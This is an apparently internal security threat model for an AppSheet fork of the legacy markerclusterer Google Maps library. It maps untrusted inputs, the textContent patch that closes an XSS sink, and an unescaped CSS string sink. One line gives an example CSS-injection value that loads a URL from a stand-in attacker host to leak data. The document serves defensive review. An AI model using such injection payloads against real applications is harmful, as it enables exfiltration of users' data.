# Security Threat Model: @google/markerclusterer (AppSheet Fork)

## Asset Definition & Scope

`@google/markerclusterer` is a single-file (~1,290 line) browser JavaScript
library that groups large numbers of Google Maps JS API v3 markers into
per-zoom-level clusters, drawing each cluster as a custom `OverlayView` `<div>`
positioned over the map. Repository:
`sso://gnocchi-internal/third_party/@google/markerclusterer`, branch `main`
(mirrored at `appsheet-third-party/@google/markerclusterer`).

-   **Upstream:** `@google/markerclusterer` version `1.0.3` — the legacy
    `MarkerClusterer` from `googlemaps/v3-utility-library`
    (`last_upgrade_date` 2023-06-07, per `METADATA`).

    > [!NOTE]
    > The `third_party.url` field in `METADATA` points at
    > `https://github.com/googlemaps/js-markerclusterer`, which is the
    > *successor* project. The vendored code and the pinned `1.0.3` version are
    > from the older `v3-utility-library` `markerclusterer` (matching
    > `package.json`'s `repository.url`). The METADATA URL is inaccurate and
    > should not be used to diff against upstream.

-   **Scope:** `src/markerclusterer.js` (the entire library; `package.json`
    declares it as both `main` and the sole entry in `files`).
-   **Deployment context:** Executes in the end user's browser as part of the
    AppSheet web frontend. Not used server-side.

## Consumption in AppSheet

A **direct, first-class runtime dependency** of the AppSheet frontend:

-   `jeenee/Nirvana/Content/package.json`:
    `"@google/markerclusterer": "git+https://appsheet-third-party.googlesource.com/@google/markerclusterer"`
-   `package-lock.json` resolves it to commit
    `7b91a86be0a313447f55813c81ee801ac9c9bd4d`, version `1.0.3`.
-   `Nirvana/Content/scripts/_shared/lib/GoogleMapInstance.ts` —
    `import MarkerClusterer from '@google/markerclusterer'`; `initMarkerClusterer`
    constructs `new MarkerClusterer(this.map, [], { maxZoom, zoomOnClick,
    minimumClusterSize })`, caches one clusterer per theme colour in
    `_markerClusterers`, and calls `markerClusterer.setStyles(...)`.
    `clearMarkerClusterers` invokes `clearMarkers()` on unmount.
-   `Nirvana/Content/components/app/ClusterMapPane.tsx` — drives it from the
    customer-facing map view (`initMarkerClusterer`,
    `updateMarkerClustererOptions`).

Cluster icon images are generated locally by `clusterIconSVG(color, diameter)`
in `GoogleMapInstance.ts`, which interpolates an app theme colour into an inline
SVG, base64-encodes it, and passes the resulting
`data:image/svg+xml;base64,…` URI as `styles[].url`. `textColor` is the
hardcoded string `'white'`.

The library therefore runs on every AppSheet map view rendering
customer-authored location rows. It is genuinely used.

## The AppSheet Customization

Four commits. Two are Trusted Types remediation, one is a follow-up fix to a
regression introduced by that remediation, and one is a Maps API compatibility
fix.

| Commit | Change |
|---|---|
| `392fd44` "Inital import" | Upstream `@google/markerclusterer` 1.0.3, unmodified. |
| `c386355` "[nwd] Patching innerHTML violations" (`go/trusted-types-appsheet`) | In `src/markerclusterer.js`, replaced `this.div_.innerHTML = this.sums_.text` in `ClusterIcon.prototype.onAdd` and `this.div_.innerHTML = sums.text` in `ClusterIcon.prototype.setSums` with `this.div_.text = …`. |
| `57c6edf` "Fix a bug" | Corrected both to `this.div_.textContent = …`. The previous patch used `div.text`, which is not a rendering property on `HTMLDivElement`, so cluster count labels silently stopped rendering. This is the commit that makes the Trusted Types fix actually correct. |
| `7b91a86` (HEAD) "Fix for map cluster size icons not disappearing after zoom" (b/493541353) | Renamed `ClusterIcon.prototype.remove` to `ClusterIcon.prototype.removeClusterIcon` (and its caller in `Cluster.prototype.remove`) to avoid a name collision with a newly added `google.maps.OverlayView.remove` API that was preventing cluster icons from being torn down on zoom. |

**Security-relevant net effect:** the cluster label sink is now `textContent`,
so cluster label text — including anything a custom `setCalculator()` might
return — is inserted as text, not markup. Upstream's `innerHTML` XSS sink is
closed in this fork. Everything else in the file is upstream code, including the
unescaped CSS string construction described below, which the patch did **not**
address.

## Prioritization Signals

-   **1P OSS:** No (Third-party OSS maintained as an internal customized fork
    for Google AppSheet; nominally Google-authored upstream, but consumed here
    as an unmaintained vendored 3P dependency)
-   **1P Proprietary Shipped Software:** Yes (Bundled and minified into the
    AppSheet frontend JavaScript shipped to browsers)
-   **High-Risk Code Surface:** Yes — the library creates DOM overlay elements
    per cluster, writes bulk inline CSS via unescaped string concatenation into
    `style.cssText`, builds image URLs by string concatenation, renders
    caller-supplied label text, and performs floating-point coordinate and
    pixel-projection arithmetic on customer-supplied latitude/longitude values.
-   **Perimeter Exposure:** Yes (AppSheet is a 1P service exposed to the public
    Internet and customers; map views are rendered for end users of
    customer-authored apps)
-   **Data Sensitivity:** Medium — the library processes customer-authored
    location data: geographic coordinates from app data rows, which frequently
    represent real addresses, asset locations, or individuals' positions, and
    can constitute PII. It also renders aggregate counts derived from that data.
    Data stays client-side and in-memory; nothing is persisted or transmitted by
    the library itself.
-   **Untrusted Input Handling:** Yes — marker positions originate from
    customer-authored app data rows, and clusterer styling/behaviour options
    (`imagePath`, `imageExtension`, `styles[]`, `gridSize`, `maxZoom`,
    `minimumClusterSize`, and any custom `calculator`) originate from
    app-author-controlled configuration surfaced through AppSheet's map view
    settings.
-   **Business Value:** Renders the clustered map view, a core AppSheet
    presentation type. Realistic security impact is bounded — the historic
    `innerHTML` XSS is patched — but the remaining unescaped `style.cssText`
    construction is a live CSS-injection sink whose exploitability depends
    entirely on how much of `styles[]` AppSheet ever lets an app author control.

## Scanning Harness Prompts

1.  **Unescaped CSS string construction in `ClusterIcon.prototype.createCss`
    (primary sink).** This function builds a complete inline style string by raw
    concatenation and the result is assigned to `this.div_.style.cssText` in
    both `ClusterIcon.prototype.onAdd` and `ClusterIcon.prototype.show`. The
    interpolated values are `this.url_`, `this.backgroundPosition_`,
    `this.textColor_`, `this.textSize_`, `this.height_`, `this.width_`,
    `this.anchor_[0]`/`[1]`, and `pos.x`/`pos.y`. **None of the string-typed
    values are escaped or type-checked** (only `anchor_` members get
    `typeof === 'number'` guards). Concretely:
    -   `style.push('background-image:url(' + this.url_ + ');')` — a `url_`
        containing `)` plus additional declarations breaks out of the `url()`
        token and injects arbitrary CSS.
    -   `'color:' + txtColor + ';'` where `txtColor = this.textColor_` — the
        cleanest injection point; a value such as
        `red; background-image: url(https://attacker.example/leak)` appends
        attacker-chosen declarations.
    -   `'background-position:' + backgroundPosition + ';'`, and
        `height`/`line-height`/`width`/`font-size` built from `height_`,
        `width_`, `textSize_` with no numeric coercion.
    Trace all of these back to `MarkerClusterer.prototype.setStyles` /
    `ClusterIcon.prototype.useStyle` and determine whether any element of the
    `styles[]` array can be influenced by app-author configuration. In the
    current AppSheet integration they are supplied by `GoogleMapInstance.ts`
    as generated data URIs and the literal `'white'`, which bounds the
    severity — but `setStyles` is a public API and this is the highest-value
    area to review.
2.  **Image URL construction in `MarkerClusterer.prototype.setupStyles_`.**
    `url: this.imagePath_ + (i + 1) + '.' + this.imageExtension_` concatenates
    two constructor options into a URL that is then interpolated into
    `background-image:url(...)`. Check whether `imagePath`/`imageExtension` can
    be set from app configuration; if so this is both a CSS-injection vector and
    an outbound-request / SSRF-by-browser primitive (arbitrary third-party
    resource load, and a `javascript:`/`data:` URL attempt).
3.  **Label rendering path (verify the patch, and that it stays).**
    `ClusterIcon.prototype.setSums` and `ClusterIcon.prototype.onAdd` write
    `sums.text` via `textContent`. `sums` comes from
    `MarkerClusterer.prototype.calculator_`, which is replaceable through the
    public `MarkerClusterer.prototype.setCalculator`. Confirm no `innerHTML`,
    `insertAdjacentHTML`, `outerHTML`, or `document.write` has been reintroduced
    anywhere in `src/markerclusterer.js`, and that any AppSheet-supplied custom
    calculator is treated as returning untrusted text. Reversion here
    re-opens stored XSS reachable from customer-authored app data.
4.  **Numeric and coordinate handling.** Customer app data can yield missing,
    non-numeric, out-of-range, `NaN`, or `Infinity` latitude/longitude values.
    Review `MarkerClusterer.prototype.getExtendedBounds` (pixel projection and
    `gridSize_` offsets), `MarkerClusterer.prototype.distanceBetweenPoints_`
    (haversine using `Math.sin`/`Math.cos`/`Math.atan2`),
    `MarkerClusterer.prototype.isMarkerInBounds_`,
    `MarkerClusterer.prototype.createClusters_`,
    `Cluster.prototype.isMarkerInClusterBounds`, and
    `ClusterIcon.prototype.getPosFromLatLng_` (which uses
    `parseInt(this.width_ / 2, 10)`). Look for: `NaN` propagating into
    `pos.x`/`pos.y` and thence into the `cssText` string; division by zero or a
    zero/negative `gridSize_` producing non-terminating clustering loops;
    quadratic blow-up in the marker-to-cluster matching loops for large marker
    counts (client-side DoS on a map view with many rows); and
    `parseInt(dv / 10, 10)` in `calculator_` behaving unexpectedly for
    non-integer counts.
5.  **Event listener and overlay lifecycle (memory leak / DoS).** The
    `MarkerClusterer` constructor registers `zoom_changed` and `idle` listeners
    on the map via `google.maps.event.addListener` and **never removes them**;
    `MarkerClusterer.prototype.clearMarkers` only tears down clusters, not
    listeners. Each marker additionally gets a `dragend` listener, and
    `ClusterIcon.prototype.onAdd` attaches a `click` listener via
    `google.maps.event.addDomListener` on every re-add. Verify against
    `ClusterIcon.prototype.onRemove`, `ClusterIcon.prototype.removeClusterIcon`,
    and `Cluster.prototype.remove` (which does `delete this.markers_`) that
    repeated mount/unmount cycles in `GoogleMapInstance.ts` do not accumulate
    listeners and detached DOM across a long AppSheet session.
6.  **Global scope pollution.** The Closure export block at the bottom of
    `src/markerclusterer.js` executes `var window = window || {};` and then
    assigns `window['MarkerClusterer']`. Review this for unintended global
    creation or shadowing under the AppSheet bundler and strict-mode settings,
    and for whether exposing `MarkerClusterer` on `window` gives page scripts an
    unnecessary handle on the clustering internals.
7.  **Fork drift.** Upstream `@google/markerclusterer` 1.0.3 is effectively
    unmaintained (superseded by `js-markerclusterer`). Ensure any future
    re-sync or upgrade preserves the `textContent` patch (commits `c386355` +
    `57c6edf`) and the `removeClusterIcon` rename (`7b91a86`); both are
    load-bearing.

## Entry Points and Untrusted Inputs

| Entry Point | Type | Trusted? | Validation |
|---|---|---|---|
| `new MarkerClusterer(map, markers, options)` (`src/markerclusterer.js`) | Constructor; options object | No — `options` originate from AppSheet map view configuration | Defaults applied with `\|\|` (`gridSize_` → 60, `maxZoom_`, `minClusterSize_`, `imagePath_`, `imageExtension_`, `styles_`); **no type or range checking** on any value |
| `MarkerClusterer.prototype.addMarker` / `addMarkers` / `pushMarkerTo_` | Marker ingestion | No — marker positions derive from customer-authored app data rows | Checks `marker.getPosition()` presence and `isMarkerInBounds_`; no validation that coordinates are finite numbers |
| `MarkerClusterer.prototype.setStyles(styles)` / `ClusterIcon.prototype.useStyle` | Rendering configuration (`url`, `height`, `width`, `textColor`, `textSize`, `anchor`, `backgroundPosition`) | No — public API; in AppSheet currently fed generated data URIs and literals from `GoogleMapInstance.ts` | **None.** Values are interpolated directly into `createCss` output. `anchor_` members alone get `typeof === 'number'` and range checks. |
| `MarkerClusterer.prototype.setCalculator(calculator)` | Caller-supplied function returning `{ text, index }` | No — public API | None. Returned `index` is clamped in `useStyle` via `Math.max`/`Math.min`; returned `text` is rendered via `textContent` (safe as text) |
| `MarkerClusterer.prototype.setGridSize` / `setMaxZoom` / `setMinimumClusterSize` / `setImagePath` / `setImageExtension` | Runtime configuration setters | No | None |
| Google Maps `zoom_changed` / `idle` map events; marker `dragend`; cluster `<div>` `click` | Browser / Maps API event stream | Yes (Maps API and user gestures) | Handlers read map zoom and bounds; `click` fires the `clusterclick` event and optionally `fitBounds` |
| `google.maps.LatLng` positions and projection results | Maps API | Yes (API), but seeded with untrusted coordinates | `getProjection().fromLatLngToDivPixel` output used arithmetically without finiteness checks |

## Trust Boundaries and Auth Assumptions

-   **Authentication**: None at the library level. All authentication and
    session management is handled by AppSheet before the map view is rendered.
-   **Authorization**: None at the library level. Which rows — and therefore
    which coordinates — reach the browser is decided by AppSheet's security
    filters and row-level access control upstream. The clusterer renders
    whatever it is handed.
-   **Implicit trust**: (a) `styles[]` entries, `imagePath`, and
    `imageExtension` are trusted to be safe CSS/URL fragments — the library
    performs no escaping and this is the single most important assumption in the
    model. (b) Marker positions are assumed to be valid, finite
    `google.maps.LatLng` values. (c) A custom `calculator` is assumed to return
    a well-formed `{ text, index }`. (d) The Google Maps API `OverlayView`
    contract is assumed stable — an assumption that already broke once, per
    b/493541353.
-   **Boundary crossings**: Customer-authored app data (location rows, labels,
    map view configuration) → AppSheet backend → AppSheet frontend bundle →
    `MarkerClusterer` → live DOM in the end user's browser, inside the
    application's origin. The library sits at the final, rendering end of that
    chain, which is why its DOM and CSS sinks matter.

## Sensitive Data Paths

| Data Type | Source | Destination | Protection |
|---|---|---|---|
| Customer location coordinates (latitude/longitude, potentially PII) | Customer app data rows → `google.maps.Marker` positions → `addMarkers` | In-memory `markers_` / `clusters_` arrays; projected to pixel offsets in `getPosFromLatLng_`; aggregated into cluster bounds | Client-side and in-memory only; never serialised or transmitted by the library. Row visibility is enforced upstream by AppSheet security filters. |
| Cluster label text (aggregate marker counts) | `MarkerClusterer.prototype.calculator_` (or a caller-supplied calculator) | `ClusterIcon.prototype.onAdd` / `setSums` → `div_.textContent` | Rendered as **text**, not markup, via the AppSheet Trusted Types patch — the fork's primary security control |
| Cluster icon image URL | `styles[].url` (AppSheet: base64 `data:image/svg+xml` URI built by `clusterIconSVG` from an app theme colour) | `ClusterIcon.prototype.createCss` → `background-image:url(...)` → `div_.style.cssText` | **Unescaped concatenation.** In AppSheet the value is base64-encoded before it reaches the library, which prevents CSS token breakout; note however that `clusterIconSVG` interpolates the theme `color` into the SVG `style` attribute unescaped before encoding, so an unvalidated theme colour is an SVG-content injection (rendered as a non-scripting `background-image`). |
| Styling parameters (`textColor`, `textSize`, `height`, `width`, `backgroundPosition`, `anchor`) | `setStyles` caller | `createCss` → `div_.style.cssText` | **Unescaped concatenation**, no numeric coercion (except `anchor`) |

## Privileged Actions

| Action | Location | Guard |
|---|---|---|
| Bulk inline style assignment from a concatenated string | `ClusterIcon.prototype.onAdd`, `ClusterIcon.prototype.show` (`this.div_.style.cssText = this.createCss(pos)`) | **None** — `createCss` performs no escaping or type coercion on `url_`, `backgroundPosition_`, `textColor_`, `textSize_`, `height_`, `width_` |
| CSS text construction | `ClusterIcon.prototype.createCss` | `typeof === 'number'` plus range checks on `anchor_[0]`/`anchor_[1]` only; defaults `'0 0'` for background position, `'black'` for colour, `11` for size |
| Cluster label rendering | `ClusterIcon.prototype.onAdd`, `ClusterIcon.prototype.setSums` (`div_.textContent = …`) | Trusted Types patch: `textContent` is a text sink and cannot introduce markup |
| Overlay DOM element creation and insertion | `ClusterIcon.prototype.onAdd` (`document.createElement('DIV')`, `panes.overlayMouseTarget.appendChild`) | Maps `OverlayView` pane lifecycle |
| Image URL construction | `MarkerClusterer.prototype.setupStyles_` (`this.imagePath_ + (i + 1) + '.' + this.imageExtension_`) | None |
| DOM event listener registration | `ClusterIcon.prototype.onAdd` (`google.maps.event.addDomListener(this.div_, 'click', …)`) | Removed implicitly when `onRemove` detaches the node; no explicit `removeListener` |
| Map event listener registration | `MarkerClusterer` constructor (`google.maps.event.addListener(this.map_, 'zoom_changed' / 'idle', …)`) | **Never removed** — not cleaned up by `clearMarkers` |
| Marker event listener registration | `MarkerClusterer.prototype.pushMarkerTo_` (`google.maps.event.addListener(marker, 'dragend', …)`) | Not explicitly removed on marker removal |
| Map viewport mutation | `ClusterIcon.prototype.triggerClusterClick` (`this.map_.fitBounds`), `MarkerClusterer.prototype.fitMapToMarkers` | Gated on `isZoomOnClick()`; bounds derived from clustered marker positions |
| Global object assignment | Closure export block, end of `src/markerclusterer.js` (`var window = window || {}; window['MarkerClusterer'] = MarkerClusterer;`) | None |

## Priority Review Areas

1.  **`ClusterIcon.prototype.createCss` → `style.cssText` (highest value).**
    This is the library's one genuinely unescaped sink and the only remaining
    injection primitive after the Trusted Types patch. `textColor_`, `url_`, and
    `backgroundPosition_` are concatenated into a live inline style string with
    no escaping; `height_`, `width_`, and `textSize_` are concatenated with no
    numeric coercion. Severity today is bounded because AppSheet supplies these
    from `GoogleMapInstance.ts` as generated data URIs and the literal
    `'white'` — the review question is whether any app-author-controlled value
    can reach `setStyles`, now or after a future map-styling feature. If one
    can, this is CSS injection (data exfiltration via attacker-chosen resource
    URLs, UI redress, style-based content inference) in a public-facing surface.
2.  **Persistence of the `textContent` patch on the label path.** Commits
    `c386355` and `57c6edf` together are the reason this fork exists: they
    convert upstream's `innerHTML` cluster-label sink — reachable from
    customer-authored data via a custom calculator — into a text sink. Any
    reintroduction of an HTML sink in `ClusterIcon.prototype.onAdd` or
    `setSums`, or an AppSheet calculator that builds markup, restores a stored
    XSS. This should be a standing regression check, not a one-time review.
3.  **Coordinate and numeric robustness for customer-supplied locations.**
    Malformed, missing, or extreme latitude/longitude values from app data rows
    flow unvalidated into `getExtendedBounds`, `distanceBetweenPoints_`,
    `isMarkerInBounds_`, `createClusters_`, and `getPosFromLatLng_`. Review for
    `NaN`/`Infinity` propagation into the generated CSS position values, for
    non-terminating or quadratic clustering loops (client-side DoS on map views
    backed by large or hostile datasets), and for the unguarded `gridSize_` used
    as a pixel offset and divisor-adjacent value.
4.  **`imagePath` / `imageExtension` URL concatenation in `setupStyles_`.**
    Determine whether these constructor/setter options are reachable from app
    configuration. If they are, they allow an app author to make every end
    user's browser fetch an arbitrary URL from within the AppSheet origin's page
    context, and feed an unescaped string into `background-image:url(...)`.
5.  **Listener and overlay lifecycle leaks.** The map-level `zoom_changed` and
    `idle` listeners are registered in the constructor and never removed;
    `clearMarkers()` — the only teardown AppSheet calls, from
    `GoogleMapInstance.clearMarkerClusterers` — does not remove them. Combined
    with per-marker `dragend` listeners and per-`onAdd` `click` listeners, this
    is a plausible accumulation path across repeated map mount/unmount cycles in
    a long-lived AppSheet session. Note the related history: b/493541353 showed
    cluster icons failing to tear down at all, so the teardown path here has
    already proven fragile against Maps API changes.
6.  **Maps API surface collisions.** `7b91a86` renamed `ClusterIcon.remove` to
    `removeClusterIcon` because a new `google.maps.OverlayView.remove` API
    silently shadowed it. Audit the remaining `OverlayView` subclass members on
    `ClusterIcon` (`onAdd`, `draw`, `onRemove`, `show`, `hide`, `setMap`,
    `getPanes`, `getProjection`) for further collision risk; a shadowed
    lifecycle method is a correctness bug that manifests as stale overlays
    obscuring interactive map content.

## Out of Scope

Teams can fill out this section with any known filed vulnerability bugs that
they've determined should be out of scope from future Fortify bug filing.